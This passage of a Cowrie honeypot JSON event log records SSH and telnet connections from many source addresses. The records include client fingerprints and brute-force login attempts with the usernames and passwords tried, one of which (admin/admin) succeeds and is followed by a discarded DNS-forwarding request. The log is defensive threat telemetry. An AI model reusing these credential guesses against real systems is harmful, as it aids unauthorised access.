bc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:03:27.130270Z","src_ip":"159.203.92.129","session":"d8957f69537f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aoko","password":"aoko","message":"login attempt [aoko/aoko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:03:27.139987Z","src_ip":"159.203.92.129","session":"d8957f69537f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:03:28.146639Z","src_ip":"159.203.92.129","session":"d8957f69537f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.45.117.14","src_port":65204,"dst_ip":"10.17.0.5","dst_port":23,"session":"44edb4dd9486","protocol":"telnet","message":"New connection: 181.45.117.14:65204 (10.17.0.5:23) [session: 44edb4dd9486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:03:28.621236Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.111.225.233","src_port":47268,"dst_ip":"159.203.135.109","dst_port":23,"session":"867997dbaf4a","protocol":"telnet","message":"New connection: 103.111.225.233:47268 (159.203.135.109:23) [session: 867997dbaf4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:03:33.807199Z"}
{"eventid":"cowrie.session.closed","duration":12.262928485870361,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:03:46.070031Z","src_ip":"103.111.225.233","session":"867997dbaf4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35174,"dst_ip":"159.203.135.109","dst_port":22,"session":"817e70d98911","protocol":"ssh","message":"New connection: 159.203.92.129:35174 (159.203.135.109:22) [session: 817e70d98911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:04:10.002978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:04:10.008095Z","src_ip":"159.203.92.129","session":"817e70d98911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:04:10.013078Z","src_ip":"159.203.92.129","session":"817e70d98911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aoko","password":"aoko123","message":"login attempt [aoko/aoko123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:04:10.028482Z","src_ip":"159.203.92.129","session":"817e70d98911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:04:11.037580Z","src_ip":"159.203.92.129","session":"817e70d98911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41960,"dst_ip":"159.203.135.109","dst_port":22,"session":"b86208a98d7e","protocol":"ssh","message":"New connection: 159.203.92.129:41960 (159.203.135.109:22) [session: b86208a98d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:04:50.617128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:04:50.620664Z","src_ip":"159.203.92.129","session":"b86208a98d7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:04:50.624371Z","src_ip":"159.203.92.129","session":"b86208a98d7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aokusawa","password":"123456","message":"login attempt [aokusawa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:04:50.633964Z","src_ip":"159.203.92.129","session":"b86208a98d7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:04:51.640029Z","src_ip":"159.203.92.129","session":"b86208a98d7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00213193893433,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:28.623226Z","src_ip":"181.45.117.14","session":"44edb4dd9486","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.45.117.14","src_port":36137,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3c681659e81","protocol":"telnet","message":"New connection: 181.45.117.14:36137 (10.17.0.5:23) [session: b3c681659e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:29.103742Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.45.117.14","src_port":57436,"dst_ip":"10.17.0.5","dst_port":23,"session":"0df7313e1e8e","protocol":"telnet","message":"New connection: 181.45.117.14:57436 (10.17.0.5:23) [session: 0df7313e1e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:29.692987Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39686,"dst_ip":"159.203.135.109","dst_port":22,"session":"09865f1239a8","protocol":"ssh","message":"New connection: 159.203.92.129:39686 (159.203.135.109:22) [session: 09865f1239a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:32.935561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:32.940131Z","src_ip":"159.203.92.129","session":"09865f1239a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:32.944721Z","src_ip":"159.203.92.129","session":"09865f1239a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aokusawa","password":"123654","message":"login attempt [aokusawa/123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:32.954090Z","src_ip":"159.203.92.129","session":"09865f1239a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:33.976731Z","src_ip":"159.203.92.129","session":"09865f1239a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":47840,"dst_ip":"10.17.0.5","dst_port":22,"session":"5877af957c16","protocol":"ssh","message":"New connection: 141.11.21.145:47840 (10.17.0.5:22) [session: 5877af957c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:40.812223Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:40.892472Z","src_ip":"141.11.21.145","session":"5877af957c16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":47844,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbd07620b3ff","protocol":"ssh","message":"New connection: 141.11.21.145:47844 (10.17.0.5:22) [session: dbd07620b3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:40.976248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:40.980132Z","src_ip":"141.11.21.145","session":"dbd07620b3ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:41.062732Z","src_ip":"141.11.21.145","session":"dbd07620b3ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yjq","password":"123456","message":"login attempt [yjq/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:41.311513Z","src_ip":"141.11.21.145","session":"dbd07620b3ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:42.397548Z","src_ip":"141.11.21.145","session":"dbd07620b3ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":58550,"dst_ip":"10.17.0.5","dst_port":23,"session":"f17085aa3eb8","protocol":"telnet","message":"New connection: 49.88.156.34:58550 (10.17.0.5:23) [session: f17085aa3eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:46.695359Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":42902,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a9427fda6c4","protocol":"ssh","message":"New connection: 87.251.64.176:42902 (10.17.0.5:22) [session: 6a9427fda6c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:50.842320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:50.846477Z","src_ip":"87.251.64.176","session":"6a9427fda6c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:50.942910Z","src_ip":"87.251.64.176","session":"6a9427fda6c4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:51.231406Z","src_ip":"87.251.64.176","session":"6a9427fda6c4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:51.329663Z","session":"6a9427fda6c4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:51.435619Z","src_ip":"87.251.64.176","session":"6a9427fda6c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:05:51.534633Z","src_ip":"87.251.64.176","session":"6a9427fda6c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":51582,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb63939cfde9","protocol":"telnet","message":"New connection: 34.38.123.195:51582 (159.203.135.109:23) [session: bb63939cfde9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:03.336921Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":51584,"dst_ip":"159.203.135.109","dst_port":23,"session":"4357358a7b6e","protocol":"telnet","message":"New connection: 34.38.123.195:51584 (159.203.135.109:23) [session: 4357358a7b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:03.493410Z"}
{"eventid":"cowrie.session.closed","duration":0.005951404571533203,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:03.499226Z","src_ip":"34.38.123.195","session":"4357358a7b6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":51596,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c0e95e7b3a9","protocol":"telnet","message":"New connection: 34.38.123.195:51596 (159.203.135.109:23) [session: 7c0e95e7b3a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:03.649837Z"}
{"eventid":"cowrie.session.closed","duration":3.2506027221679688,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:06.587404Z","src_ip":"34.38.123.195","session":"bb63939cfde9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":46354,"dst_ip":"159.203.135.109","dst_port":23,"session":"08b1b57bcf92","protocol":"telnet","message":"New connection: 185.26.126.47:46354 (159.203.135.109:23) [session: 08b1b57bcf92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:08.539063Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":56130,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a78359b862a","protocol":"ssh","message":"New connection: 210.79.142.221:56130 (10.17.0.5:22) [session: 2a78359b862a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:09.944434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:09.949421Z","src_ip":"210.79.142.221","session":"2a78359b862a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr",